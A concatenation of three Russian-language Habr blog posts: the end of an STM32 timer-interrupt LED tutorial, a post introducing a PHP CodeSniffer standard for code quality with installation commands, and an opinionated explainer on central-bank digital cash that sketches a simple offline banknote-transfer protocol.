TIM2_DIER.UIE = 1; // Разрешаем таймер создавать прерывание
TIM2_CR1.CEN = 1; //Включаем таймер 2
```
\**Важное замечание. Несмотря на то что TIM2, TIM3, TIM4 подключены к шине APB1, которая работает, в нашем случае, на половинной частоте (APB1 имеет максимальную частоту 36 МГц) HCLK, таймеры при установке предделителя APB1 отличного от 1 тактируются на удвоенной частоте шины, то есть при частоте APB1=HCLK/2 TIMxCLK = APB1 х 2, фактически, в нашем случае, частотой ядра.*
мы настроили таймер на генерацию прерывания каждые 500 мс.
теперь создадим функцию, вызываемую при поступлении прерывания от таймера:
```
void Timer2_interrupt() iv IVT_INT_TIM2
{
TIM2_SR.UIF = 0; // Сбарсываем флаг прерывания, это нужно делать обязательно после каждого срабатывания прерывания таймера!!!
//далее наш код
}
```
теперь все готово чтобы в очередной раз мигнуть нашим светодиодом, то теперь уже при помощи таймера
```
unsigned short state = 0;
void main()
{
GPIO_Digital_Output(&GPIOb_BASE, _GPIO_PINMASK_1);
GPIO_Digital_Input(&GPIOb_BASE, _GPIO_PINMASK_8);
RCC_APB1ENR.TIM2EN = 1;
TIM2_CR1.CEN = 0;
TIM2_PSC = 7199;
TIM2_ARR = 5000;
NVIC_IntEnable(IVT_INT_TIM2);
TIM2_DIER.UIE = 1;
TIM2_CR1.CEN = 1;
while(1)
{
}
}
void Timer2_interrupt() iv IVT_INT_TIM2
{
TIM2_SR.UIF = 0;
GPIOb_ODR.b1=~GPIOb_ODR.b1;
}
```
Давайте будем включать и отключать таймер при помощи нашей кнопки, которая теперь будет работать как нужно.
```
unsigned short state = 0;
void main()
{
GPIO_Digital_Output(&GPIOb_BASE, _GPIO_PINMASK_1);
GPIO_Digital_Input(&GPIOb_BASE, _GPIO_PINMASK_8);
RCC_APB1ENR.TIM2EN = 1;
TIM2_CR1.CEN = 0;
TIM2_PSC = 7199;
TIM2_ARR = 5000;
NVIC_IntEnable(IVT_INT_TIM2);
TIM2_DIER.UIE = 1;
while(1)
{
if (Button(&GPIOb_IDR, 8, 1, 1))
state.b2=1;
if (state.b2 && Button(&GPIOb_IDR, 8, 1, 0))
{
state.b2 = 0;
state.b1= ~state.b1;
}
if (state.b1)
{
TIM2_CR1.CEN = 1; // запускаем таймер
}
else
{
TIM2_CR1.CEN = 0; // отключаем таймер
GPIOb_ODR.b1 = 0; // гасим светодиод
}
Delay_ms(1);
}
}
void Timer2_interrupt() iv IVT_INT_TIM2
{
TIM2_SR.UIF = 0;
GPIOb_ODR.b1=~GPIOb_ODR.b1;
}
```
\**продолжение следует* | https://habr.com/ru/post/318352/ | null | ru | null |
# Контроль качества кода в перспективе развития проекта
Наверняка всем знакома ситуация, когда развитием проекта упирается в какую-то стену, внедрение новых функций становится все более затратным по времени и финансам. И, к сожалению, нередки такие моменты, когда чаша весов с ценой, начинает значительно перевешивать возможную выгоду от реализации той, или иной функции.
Это достаточно стандартный и, во многом, привычный ход событий. С опытом, мы пытаемся делать разрозненные попытки улучшать ситуацию, и не допускать ошибок прошлого. Но часто, собрать все в кучу для организации какой-то вменяемой системы времени не хватает. И, какое-либо универсальное решение, до настоящего времени, найти было достаточно непросто.
Мы разработали автоматизацию по контролю качества кода, которая уже работает в нашей компании и в некоторых других. Данная реализация создана для языка PHP. Ранее она была только для Java и C#. Однако принципы и подходы применимы ко всем современным языкам, поэтому приглашаем к обсуждению этой важной темы.
Так вот, проанализировав множество различных проектов специалисты компании **Software Improvement Group (SIG)** разработали набор простейших принципов и правил, следуя которым, можно в значительной степени улучшить такое состояние вещей. Эти принципы были изложены в книге-руководстве **Building Maintainable Software, Java Edition: Ten Guidelines for Future-Proof Code** (ISBN print: 978-1-4919-5352-5, ISBN eBook: 978-1-4919-5348-8).
Все элементы, необходимые для построения стабильной в поддержке системы на удивление просты и понятны. Они с лёгкостью могут применяться для приложений любой сложности. Наибольшего эффекта от такого подхода можно достичь, если использовать его с самого начала разработки, особенно сложных программных систем. Однако, использовав это руководство уже на более поздних этапах, можно добиться заметного улучшения показателей для новых модулей и стойкого снижения темпов усложнения создаваемой системы в целом.
Возьму на себя смелость тезисно изложить основные моменты из этого руководства.
### Важность более простой поддержки для бизнеса
* Сроки внедрения новых функций существенно меньше. Продукт на шаг впереди конкурентов.
* Время исправления багов значительно сокращается. Заказчик и клиенты в выигрыше.
* Простота введения в проект новых разработчиков. Диверсификация рисков.
* Оптимизация по любому другому параметру системы требует изменений в коде проекта.
* Хорошо поддерживаемый код, как правило, работает на порядок стабильнее. Изменения в нем имеют меньше побочных эффектов.
### Особенности внедрения
* Поддерживаемость кодовой базы обеспечивается выполнением простых руководств.
* Выполнять эти руководства нужно с самого старта проекта, важен вклад каждого разработчика.
* Некоторые нарушения гораздо хуже остальных.
### Перечень рекомендаций
1. Пишите короткие методы
2. Пишите простые методы
3. Пишите код только один раз
4. Старайтесь создавать маленькие интерфейсы для методов и конструкторов
5. Распределяйте задачи по модулям
6. Создавайте компоненты со слабой связанностью
7. Соблюдайте баланс между компонентами
8. Старайтесь писать меньше кода
9. Автоматизируйте тестирование и деплой
10. Пишите чистый код
Некоторые из этих принципов можно легко контролировать в автоматическом режиме, для этого были созданы специальные программные средства для таких языков как Java и C#. Мы предлагаем простейшую реализацию [автоматического контроля для PHP](https://github.com/SECL-Group/phpcs-secl-standard) разработки в виде сниффера кода (**Code Sniffer**). Нами был реализован контроль следующих базовых принципов:
* Длина функций не должна превышать 15 строк кода;
* Цикломатическая сложность функции не должна быть более 5;
* Функции не должны принимать более 4 входных аргументов;
* Класс не должен содержать более 15 методов;
После внедрения подобного контроля в нашей компании, качество разработки значительно улучшилось. Код стал гораздо более простым для понимания и поддержки.
Предлагаем вам базовый вариант решения для автоматического контроля. Стандарт легко встраивается в систему контроля версий. Рекомендуем использовать его в связке с другими стилистическими стандартами, принятыми в вашей компании.
Вполне осознаю тот факт, что внедрение даже этих нескольких правил, встроенных нами в систему контроля, особенно на первых этапах вызовет затруднения у программистов. Эти трудности гораздо легче будет преодолеть человеку, знакомому с содержанием книги Роберта Мартина «Чистый код: создание, анализ и рефакторинг». Так же в этой книге достаточно подробно описаны теоретические основания вышеизложенных принципов. Скорее всего, для многих книга хорошо знакома, она отлично дополнит руководство «Building Maintainable Software».
Очень важно, на мой взгляд, особенно в начале, тщательно контролировать качество кода на выходе. Необходимо избежать механического дробления кода на, удовлетворяющие правилам, куски. Разделение функций и классов должно происходить по всем правилам ООП с применением шаблонов проектирования, там, где это необходимо. Одним из важнейших принципов в данном аспекте можно считать «Принцип единственной ответственности». Особо хочу отметить значимость правильного выбора имён, чётко характеризующих назначение функций и классов. Такой подход, как мы заметили, довольно быстро и эффективно позволяет повысить уровень программистов и качество их кода.
Полное описание мы выложили на [GitHub](https://github.com/SECL-Group/phpcs-secl-standard) и будем его улучшать в дальнейшем, реализовывая все больше принципов.
### Как пользоваться сниффером?
**Вариант 1.**
Самый простой вариант установить стандарт через компоузер:
```
$ php composer.phar require --dev secl-group/phpcs-secl-standard:~1.0.0
```
После установки можно начинать проверку кода. Предположим, проверяемые файлы находятся в папке src:
```
$ bin/phpcs --standard=vendor/secl-group/phpcs-secl-standard/secl-group/phpcs/Secl --extensions=php src/
```
**Вариант 2.**
Можно установить сниффер глобально вместе со стандартными php снифферами. В среде Linux это можно сделать через PEAR. В начале устанавливаем основные стандарты, если они ещё не были установлены:
```
# pear install PHP_CodeSniffer
```
Находим дирректорию с установленными расширениями (/path/to/pear):
```
# pear config-show | grep php_dir
```
Переходим в папку стандартов:
```
# cd /path/to/pear/PHP/CodeSniffer/Standards
```
Клонируем стандарт:
```
# git clone https://github.com/SECL-Group/phpcs-secl-standard Secl
```
Можно установить его как дефолтный:
```
# phpcs --config-set default_standard Secl
```
Теперь та же проверка, что и в варианте 1 будет выглядеть так:
```
$ phpcs --standard=Secl --extensions=php src/
```
Такую проверку из командной строки легко использовать на стороне любой системы непрерывной интеграции.
При использовании на стороне программиста, для контроля качества собственного кода достаточно удобно дополнить сниффер другим стандартом, принятым на проекте. Для этого нужно внести изменения в файл ruleset.xml, находящийся в папке стандарта. В этом файле имеется закомментированная строка:
```
```
Её можно раскомментировать и вставить свой стандарт, вместо PEAR, например:
```
```
В таком случае, будут проверяться оба стандарта и Secl и Symfony2. В интегрированных средах разработки (IDE) с поддержкой PHP\_Sniffer, типа PHPStorm, можно настроить автоматическую проверку в визуальном режиме с подчёркиванием нестандартных методов и классов, и выводом сообщений об ошибках.
После такой настройки не соответствующий стандарту код будет подчёркиваться.
А при наведении курсора мыши на подчёркнутую строку будет появляться сообщение о нарушенном правиле.
После исправления ситуации подчёркивание пропадёт.
При желании, можно изменить политику ошибок на политику предупреждений для всех, или части правил. Это делается достаточно просто, если покопаться в коде сниффера. В таком случае можно оценивать код более мягко, опираясь на допустимое количество предупреждений. Возможно, такой подход и будет реализован в дальнейшем, но пока мы не видим необходимости в подобном решении.
Данная реализация довольно простая, но тем не менее несет хорошую полезность для дальнейшего развития проекта. Мы её разработали под себя, знаем, что в некоторых компаниях есть подобные системы контроля качества кода, но не публичные.
Пользуйтесь на здоровье и пишите правильный код!
**P.S.**. В нашей школе вот-вот стартует пятимесячный курс обучения от автора статьи [«Хочу стать Junior PHP Developer!»](http://digitov.com/course/programming-Junior-PHP-Developer-courses) и [«Symfony 2. Гибкая разработка»](http://digitov.com/course/php-symfony-courses). Чтобы записаться пишите на [info@digitov.com](mailto:info@digitov.com)
**P.P.S.** Чтобы получать наши новые статьи раньше других или просто не пропустить новые публикации — подписывайтесь на нас в [Facebook](http://www.facebook.com/SECLGROUP), [VK](http://vk.com/seclgroup) и [Twitter](https://twitter.com/SECL).
**Авторы:**
Сергей Харланчук, Senior PHP Developer, Компания «[SECL Group](http://seclgroup.ru/)»
Никита Семенов, CEO, Компания «[SECL Group](http://seclgroup.ru/)» | https://habr.com/ru/post/313104/ | null | ru | null |
# Цифровые наличные на пальцах
*На изображении — логотип* [*цифровой Найры*](https://enaira.gov.ng/about)*, валюты* [*Нигерии*](https://ru.wikipedia.org/wiki/%D0%9D%D0%B8%D0%B3%D0%B5%D1%80%D0%B8%D1%8F)*. Это первая работающая CBDC в мире (после маленьких Багамских островов с их Send Dollar). Запущена в октябре 2021 года.*
На Хабре были попытки обсуждения темы ***цифровых наличных*** (***Digital Currency****)* и в частности ***фиатных цифровых наличных*** (***Central Bank Digital Currency, CBDC***). Однако, с моей точки зрения, не было ни одного удовлетворительного ни технического, ни социального описания "на пальцах" что это такое и зачем (а главное КОМУ) это нужно.
Если зайти на сайт <https://cbdctracker.org/> то можно увидеть, что тема более чем хайповая с точки зрения многих государств... Так как инфобез понятие комплексное, думаю тема цифровых наличных обязательна к изучению для грамотных спецов хотя бы "на пальцах".
В данном посте разберём что такое цифровые наличные, чем они отличаются от *криптовалют* (спойлер: почти всем) и приведём пример алгоритма *цифровых наличных*.
Кто не любит "социально-экономическое бла-бла-бла" (а зря!) — идите к главе ["Пример протокола"](#%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D1%80_%D0%BF%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB%D0%B0), там описание алгоритма цифровых наличных "на пальцах".
Занудство. О нюансах перевода: "цифровые наличные", "цифровые деньги" или "цифровая валюта"?При переводе любых терминов нужно переводить не "в лоб", а стараться учесть техническую культуру обоих языков.
*Currency*можно перевести как "деньги" или "валюта". В русском языке — это не одно и то же. Валюта это инструмент выражающий обменную ценность ("меняем валюту: рубли на доллары"), а деньги — это универсальный меновой товар имеющий фиксированную измеримую стоимость: купюра в 100 рублей, монета в 10 рублей и т.д.
Так как в Digital Currency мы имеем не счёт, а набор цифровых купюр, то корректнее переводить этот термин как "Цифровые деньги".
Но я пойду дальше и в рамках данного поста буду переводить "цифровые наличные", так как DC это именно ***наличные*** деньги (хоть и в цифровом виде), в которых каждая купюра имеет свой собственный блокчейн.
Central Bank обозначает эмитента денег. То есть они не частные, а "центробанковские". "Центробанковские" криво звучить по русски, "цифровые наличные центрального банка" слишком длинно; поэтому я перевожу CBDC на русский язык как **фиатные цифровые наличные**.
Наличные, "безналичные деньги", криптовалюты, цифровые наличные
---------------------------------------------------------------
Разберёмся в понятиях.
*Деньги* — это то, что обладает всеми ~~пятью~~ **четырьмя** **функциями** и **пятью** **свойствами** денег (см. ниже).
Функции денег:
1. **Мера стоимости**. Деньги позволяют оценивать стоимость товаров путем установления цен.
2. **Средство обращения**. Деньги играют роль посредника в процессе обмена
3. **Средство платежа.** В том числе функция денег, позволяющая времени платежа не совпадать со временем оплаты, то есть когда товары продают в кредит
4. **Средство накопления и\или сбережения.** Способность денег участвовать в процессе формирования, распределения, перераспределения национального дохода, образования сбережений населения
В учебниках добавляют пятую функцию "мировые деньги", но это не обязательно. Страна может быть закрытой и её деньги не признаются другими странами.
Немого в сторону о функциях денегВ классическом смысле этого слова, денег не существует. Потому что современные деньги нельзя копить как сбережения по причине неприлично высокой инфляции (четвёртая функция).
Так же деньги уже НЕ выступают *мерой стоимости*, так как наш мир суперпотребительства обесценивает товары. Почти всё (кроме еды) можно купить за очень дорого, а можно найти "не модны" качественный аналог (первая функция).
Получается остаются только две функции: средство обращения и средство платежа.
Свойства денег:
1. **Однородность** — отдельные экземпляры товара, монеты\купюры не
обладают дополнительными свойствами, если они используются как деньги. То есть монета в 10 рублей как деньги равносильна другой монете в 10 рублей.
2. **Делимость** — деньги можно оценить одним числом. Например, две кучки денег стоимостью **a** и **b** можно представить в виде одной кучки **a**+**b**.
3. **Портативность** — деньги можно как-то переносить с места на место достаточно удобным способом. Поэтому [камни раи](https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D0%BC%D0%BD%D0%B8_%D1%80%D0%B0%D0%B8) это не совсем деньги...
4. **Безопасность**:
1. **Неподдельность** — деньги невозможно или очень сложно подделать. Фальшивомонетчество уголовное преступление и эмитент денег (почти всегда это государство) борется с этим явлением
2. **Атомарность передачи** — передавая деньги другому лицу на сумму **a**, передающее лицо теряет деньги на ту же сумму **a**. Деньги не исчезают в никуда и не берутся из ниоткуда. За исключением естественного износа и эмиссии.
3. **Износостойкость** — деньги не выходят из строя быстро при правильном хранении и перемещении.
5. **Приживаемость**:
1. **Узнаваемость** – деньги узнаваемы неким сообществом (обычно это страна или союз стран) как деньги
2. **Универсальность** – деньги распространены на определённой
территории
3. **Согласованность** – общество определённой территории согласно
воспринимать (добровольно или законом) данный товар или
монету\купюру как деньги
*[Физические] наличные* — это деньги в каком-либо физическом представлении. Обычно в виде банкнот или монет. Хотя необязательно. Можно использовать [шкуры новгородских белок](https://toihara.livejournal.com/61740.html), [раковины каури](https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D1%83%D1%80%D0%B8-%D0%BC%D0%BE%D0%BD%D0%B5%D1%82%D0%B0) или даже чёрный перец (В V веке король вестготов Аларих I потребовал дань от Рима... перцем). Тут всё понятно, идём дальше.
*"Безналичные деньги"* — это ***обязательство*** банка выплатить вам деньги по требованию. Самое важное что нужно понимать, это то, что "безналичные деньги" — не деньги! При легализации [банковского мультипликатора](https://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%BD%D0%B5%D0%B6%D0%BD%D1%8B%D0%B9_%D0%BC%D1%83%D0%BB%D1%8C%D1%82%D0%B8%D0%BF%D0%BB%D0%B8%D0%BA%D0%B0%D1%82%D0%BE%D1%80) и массовых вкладах почти каждого человека у вас нет *атомарности передачи*! (sic!) Страдает важнейшее свойство безопасности денег. Именно данный фокус и породил [кризис 2008 года](https://ru.wikipedia.org/wiki/%D0%9C%D0%B8%D1%80%D0%BE%D0%B2%D0%BE%D0%B9_%D1%8D%D0%BA%D0%BE%D0%BD%D0%BE%D0%BC%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%BA%D1%80%D0%B8%D0%B7%D0%B8%D1%81_(%D1%81_2008)). Если ещё не смотрели артхаусный фильм от Paul Grignon по этому вопросу [Money as Debt (2006)](https://en.wikipedia.org/wiki/Money_as_Debt), то обязательно посмотрите! Этот фильм уже классика.
*Криптовалюта* — совокупность расчётных единиц, учёт которых обеспечивается децентрализованной системой, работающей ***полностью*** в автоматизированном режиме по заданным криптографически стойким алгоритмам. Криптовалюты "не отключаемы" даже при наличии такого желания у создателей криптовалюты. Когда-то некоторые люди верили, что криптовалюты могут стать деньгами, но... не вышло. Отсутствует свойство *приживаемости*. Основная причина, с моей точки зрения: социальная. Так как обещания длятся достататочно долго, а в реальности криптовалюты по-прежнему just4fun, то де факто криптовалюты — это просто завуалированная финансовая пирамида, как [МММ](https://ru.wikipedia.org/wiki/%D0%9C%D0%9C%D0%9C).
*Цифровые наличные* (*Digital Currency*) — это наличные деньги в цифровом представлении, передача которых осуществляется криптографически стойкими алгоритмами.
Самое сложное свойство этих алгоритмов — это *атомарность*. Если я перевёл 100 цифровых рублей, то повторно эти же 100 цифровых рублей перевести уже не могу. Атомарность можно обеспечить на доверенном чипе, например SIM-карте; или на удалённом сервере. Это ***card-based*** и ***network-based*** цифровые наличные соотвественно.
По анонимности цифровые наличные бывают ***полностью анонимные*** (никто ничего не знает), ***анонимно-персонифицированные (***банк знает всех, а пользователи нет) и ***открыто-персонифицированные*** (все про всех знают)
Первая ласточка: анонимные цифровые деньги Чаума (eCash компании DigiCash)
--------------------------------------------------------------------------
Почти во всей работах посвящённых деньгам Чаума пишут что он "создал их задолго до биткоина" (например [тут](https://2bitcoins.ru/chto-takoe-digicash-istoriya-tsifrovoj-valyuty/)).
Это неверно. Деньги eCash были ***анонимными***, но эмиссия (первоначальная инициализация) осуществлялась непосредственно DigiCash, организацией Чаума. Таким образом это *цифровые наличные*, а не *криптовалюты*. Сама DigiCash брала обязательство менять обратно свои деньги на доллары, как Яндекс.Деньги в 2000-е.
Проект по итогу умер... Когда я учился в Бауманке, многие криптографы-педагоги говорили что "помогли умереть" люди в чёрном (нет, не наши). Однако никакой "не жёлтой" информации на этот счёт мне не попадалось. Если кому-то что-либо известно — пишите в комментариях.
Мне кажется технология просто опередила своё время. Рано было. Вот и весь сказ.
Подробнее можно почитать например в интервью Чаума 1997 года [DAVID CHAUM ON ELECTRONIC COMMERCE How Much Do You Trust Big Brother?](https://sci-hub.ru/10.1109/MIC.1997.643931)
Зачем это нужно?
----------------
### Offline операции
Простые люди после внедрения *фиатных цифровых денег* заметят только одну разницу: можно будет расплачиваться друг с другом offline, без доступа к сети. Для России, стране с одним из лучших доступов в Интернет, эта проблема стоит не так остро, однако для многих стран это существенный вопрос. Но и нам хуже не будет: мелочь, а приятно.
---
Теперь перейдём к государству.
Если цифровые деньги не анонимны — это меченые деньги. Каждая купюра имеет свой блокчейн и при отправке его online можно много что государству сделать.
Негативные стороны вопроса в стиле "Большого брата" перенесём на конец поста (Действительно, есть серьёзный риск для общества!) А пока перечислим позитивные моменты
### Ликвидация коррупции (ну почти)
В легализме можно быть коррупционером, но "законным" коррупционером. Вы не можете расстрелять человека только потому что он [враг народа](https://ru.wikipedia.org/wiki/%D0%92%D1%80%D0%B0%D0%B3_%D0%BD%D0%B0%D1%80%D0%BE%D0%B4%D0%B0) (кстати, кто не в курсе, это придумали в Древнем Риме, а не при Сталине и не при якобинцах). Люди, которые берут взятки — не идиоты. Ранее взятки [брали борзыми щенками](https://ru.wikipedia.org/wiki/%D0%90%D0%BC%D0%BC%D0%BE%D1%81_%D0%A4%D1%91%D0%B4%D0%BE%D1%80%D0%BE%D0%B2%D0%B8%D1%87_%D0%9B%D1%8F%D0%BF%D0%BA%D0%B8%D0%BD-%D0%A2%D1%8F%D0%BF%D0%BA%D0%B8%D0%BD), сейчас существуют более интересные схемы.
Представьте что будет, если вы законом ЗАСТАВИТЕ всех государственных и "окологосударственных" подрядчиков и субподрядчиков (вплоть до выдачи зарплаты сотрудникам) работать только с цифровыми наличными?... Далее на физлицах не важно. Все компании-"прокладки" будут видны как на ладони! Любые схемы будут палиться на раз! У вас будет жжёсткая доказательная база. Звёздочки ФСБ-шникам будут сыпаться пачками. ~~Главное подумать, что делать с армией ФСБ-шников после ликвидации (ну почти) коррупции... Ой, чё то заговорился.~~ Ладно, дальше.
### Контроль вывоза\ввоза денежной массы из экономики
Экономика "адаптируется" к денежной массе дефицитом и\или инфляцией. Если резко вбросить денежную массу (или наоборот изъять) это может сильно повредить экономике.
По этой причине почти во всех странах есть лимиты на ввоз и вывоз наличности. Если хотите больше -- декларируйте.
При цифровых наличных нет такой проблемы.
### Революция в науке экономике
Можно накрутить Data Science на объем всех транзакций и проводить экономические прогнозы. По сути цифровые деньги создадут новую экономику как науку!
Человечество больше не будет тыкаться палочкой, надеясь попасть куда нужно.
Это же прекрасно!
### Плановая экономика 2.0
В плановой экономике есть три проблемы:
1. Разрастание позиций производства — чем сложнее общество, тем больше позиций. Чем больше позиций тем сложнее сделать план.
2. Контроль производства — проблема "приписок"
3. Сбрасывание издержек профицита\дефицита — мир не идеальный. Когда виден дефицит или профицит, нужно сбрасывать издержки на другие экономические системы.
Первые две проблемы цифровые деньги не решают. А вот третью могут!
А как решить проблему 1 и 2 ?Первая проблема решается просто автоматизацией. Большая компьютерная экспертная система, выводящая более-менее адекватный план на входных данных. И тогда не важно сколько наименований продукции. В СССР был [проект ОГАС](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%89%D0%B5%D0%B3%D0%BE%D1%81%D1%83%D0%B4%D0%B0%D1%80%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F_%D0%B0%D0%B2%D1%82%D0%BE%D0%BC%D0%B0%D1%82%D0%B8%D0%B7%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%B0%D1%8F_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D1%83%D1%87%D1%91%D1%82%D0%B0_%D0%B8_%D0%BE%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B8_%D0%B8%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%86%D0%B8%D0%B8), гениальная идея [В.М.Глушкова](https://ru.wikipedia.org/wiki/%D0%93%D0%BB%D1%83%D1%88%D0%BA%D0%BE%D0%B2,_%D0%92%D0%B8%D0%BA%D1%82%D0%BE%D1%80_%D0%9C%D0%B8%D1%85%D0%B0%D0%B9%D0%BB%D0%BE%D0%B2%D0%B8%D1%87) и [А.И.Китова](https://ru.wikipedia.org/wiki/%D0%9A%D0%B8%D1%82%D0%BE%D0%B2,_%D0%90%D0%BD%D0%B0%D1%82%D0%BE%D0%BB%D0%B8%D0%B9_%D0%98%D0%B2%D0%B0%D0%BD%D0%BE%D0%B2%D0%B8%D1%87). Однако уже подгнившая номенклатура как господствующий квазикласс-квазисословие увидела угрозу своего господства и зарубило проект.
Проблема с приписками решается токенизацией продукции. Если есть продукция, она рано или поздно будет куплена (или утилизирована). Таким образом "подвисшие токены" в системе покажут приписки.
Третья проблема решалась в СССР взаимодействием с частным бизнесом (артелями), пока Хрущёв не запретил предпринимательство (1956-1960). Как только было понятно что "накосячили с планом" этой информацией делились с бизнесом. Утрировано: перепроизводство тканей; следовательно, частному бизнесу (артелям) нужно нарастить мощности и пошить больше одежды\штор и т.д.
Но как прогнозировать дефициты и профициты до того как они возникнут? И желательно как можно раньше. Чем быстрее среагируем, тем меньше будет проблем.
Видя, кто что покупал, можно построить потребительский профиль каждого человека. Для этого в дополнительную информацию в блокчейне купюры нужно указать сам товар, за который платится данная купюра.
Эту систему, кстати, можно замкнуть как обратную связь на построение следующего плана. То есть плановая экономика будет на 99.9% сама себя регулировать. Действовать ***почти*** автономно.
### Контроль инфляции
Вы видите здесь и сейчас как меняются цены в каждом уголке города, деревни.
Имея систему цифровых наличных, есть время сразу принять антиинфляционные меры по тому или иному товару\услуге, а не исправлять ситуацию после того как инфляция уже случилась.
### Упрощение бюрократии
... или её полная автоматизация. Если видно куда ушла каждая купюра и если можно запросить статус получателя, то в чём проблема?
Вот ИП-шник. Покупает куриц, продаёт шаурму. Вот его цифровой счёт. Видно кто именно платил и кому платил он. Автоматически нельзя понять?
---
Пример протокола
----------------
Давайте приведём пример алгоритмических функций для цифровых наличных. Максимально простой и рабочий, "на пальцах".
Всего у нас будет три стороны:
1. банк эмитент;
2. кошелёк А;
3. кошелёк Б.
Для того чтобы цифровые наличные работали, нужно прописать три алгоритма:
1. инициация нового кошелька;
2. эмиссия новой цифровой банкноты;
3. перенос банкноты с сервера банка на кошелёк;
4. перенос банкноты с кошелька на другой кошелёк.
Последний пункт у нас будет offline, так интересно! С network-based все могут.
### Секреты на стороне эмитента
В системе будет использоваться какой-нибудь алгоритм [асиметрического шифрования](https://ru.wikipedia.org/wiki/%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D1%81_%D0%BE%D1%82%D0%BA%D1%80%D1%8B%D1%82%D1%8B%D0%BC_%D0%BA%D0%BB%D1%8E%D1%87%D0%BE%D0%BC), например [RSA](http://www.michurin.net/computer-science/rsa.html) или отечественный [ГОСТ 34.10-2018](https://protect.gost.ru/v.aspx?control=8&baseC=-1&page=0&month=-1&year=-1&search=&RegNum=1&DocOnPageCount=15&id=224247).
Наш эмитент будет иметь два ключа:
1. **bpk** — bank private key, закрытый ключ шифрования
2. **bok** — bank open key, открытый ключ расшифрования
На этом всё. Для примера "на пальцах" этого достаточно.
### Инициация нового кошелька. Секреты на стороне доверенного носителя кошелька.
Мы будем хранить ключи на доверенном носителе. Для нашей card-based системы это будет SIM карта. А сам кошелёк будет представлять собой приложение для телефона.
Можно ключи хранить на USB-токене или на другом доверенном носителе.
Введём обозначение:
![(message)[private\_key]](https://habrastorage.org/getpro/habr/upload_files/d53/8ba/939/d538ba939f8e3e3a873b0f24da3c8344.svg)Это значит что сообщение **message** было зашифровано приватным ключом **private\_key**. Имея публичный открытый ключ можно расшифровать сообщение и получить искомый **message**.
Банк гененирует два ключа и одну подпись:
1. **spk** — sim private key, закрытый ключ шифрования асиметрического алгоритма, хранящийся на доверенном носителе
2. **sok** — sim open key, открытый ключ шифрования асиметрического алгоритма, хранящийся на доверенном носителе
3. **(sok)[bpk]** — подпись хеша от **sok** приватным ключом **bpk**. Эмиссия новой банкноты
По **(sok)[bpk]** нужно важное пояснение. Чтобы расшифровать, нужен ключ **bok**, который публично доступен. Таким образом владелец пары **(spk, sok)** может доказать что пара ключей создана не им, а эмитентом.
Мы генерируем для стороны А свою пару ключей и подпись, для стороны B свою пару ключей и подпись. То есть это разные пары. Обозначим их для кошелька А как **spkA**, **sokA**, **(sokA)[bpk]**, а для кошелька B как **spkB**, **sokB**, **(sokB)[bpk]**.
Теперь нам нужно придумать некую функцию, благодаря которой мы можем передавать купюру только один раз. И определённые секреты добавить в инициализацию кошелька.
Введём понятие **bnid** (banknote id) — как идентификатор банкноты. Ведём глобальную переменную **сounter** в доверенном носителе, которая никогда не уменьшается. Изначально установим его в 1.
Создадим словарь(map) **wallet** вида: **counter** -> **bnid**
Введём функцию **get\_counter**(**bnid**), которая делает следующее:
1. если **bnid** есть в значениях **wallet**, вернуть ошибку
2. взять глобальную переменную **counter**
3. Определяем **wallet[counter] := bnid**
4. увеличиваем **counter** на 1
5. вернуть на выходе **counter**.
Данная функция реализована в интерфейсе доверенно носителя. Обратите внимание что для какого-либо counter-а определён только один **bnid**
### Эмиссия новой цифровой банкноты
Введём обозначение:
Как побайтовую [конкатенацию](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D0%BA%D0%B0%D1%82%D0%B5%D0%BD%D0%B0%D1%86%D0%B8%D1%8F) сообщений.
Введём обозначение:
как хеш от сообщения message. Какой именно хеш — решите сами. Например sha256 или [Стрибог](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D1%80%D0%B8%D0%B1%D0%BE%D0%B3_(%D1%85%D0%B5%D1%88-%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F))**.**
Первый блок цифровой банкноты — это структура данных, имеющая поля:
1. **bnid** — banknote id, идентификатор банкноты
2. **amount** — величина банкноты. Например "100 рублей"
3. ... — какие-либо другие данные. Например время эмиссии банкноты, может быть код валюты, идентификатор банка (если у нас несколько эмитентов) и так далее
4. **h** = **hash** (**bnid** | **amount** | ...) — хеш всех вышеперечисленных величин. Величины конкатенируются.
5. **(h)[bpk]** — подпись хеша
Таким образом имея **bok** ключ можно убедится что цифровая банкнота настоящая. Для стороны А или Б нужно вычислить хеш от конкатенации всех величин, после расшифровать **(h)[bpk]** и убедится что хеши совпали.
Перенос банкноты с эмитента на кошелёк А
----------------------------------------
Здесь и далее вся коммуникация происходит в защищённом канале связи.
Итак мы хотим передать цифровую банкноту от банка эмитента кошельку A.
Физически это может происходить так: человек с телефоном по NFC общается с банкоматом (часть эмитента). В купюроприёмник он вставляет 100 бумажных рублей. Купюроприёмник "проглатывает" купюру. Теперь нужно по NFC передать 100 цифровых рублей.
Благодаря полю **(sokА)[bpkА]** кошелёк А может доказать что он реальный кошелёк, созданный эмитентом.
На первом шаге сервер передаёт кошельку инициированную банкноту (первый блок)
Передача Блока 1 от эмитенту кошельку А.Первым делом кошелёк А проверяет корректность блока 1. Для этого вычисляется хеш `h_check=hash(bnid|amount|...)`**,** с помощью открытого **bok** расшифровывает **(h)(bpk)** и проверяет равенство хешей `h==h_check`.
Далее кошелёк А создаёт новый блок 2:
1. **bnid** (banknote id), равный **bnid** первого блока
2. **parent\_h = h** — это значение h предыдущего блока.
3. **(sokA)[bpk]** — подпись sokA банка-эмитента
4. **counter = get\_counter**(**bnid**) — вызов функции **get\_counter** в доверенном носителе кошелька А. Записываем значение **counter**.
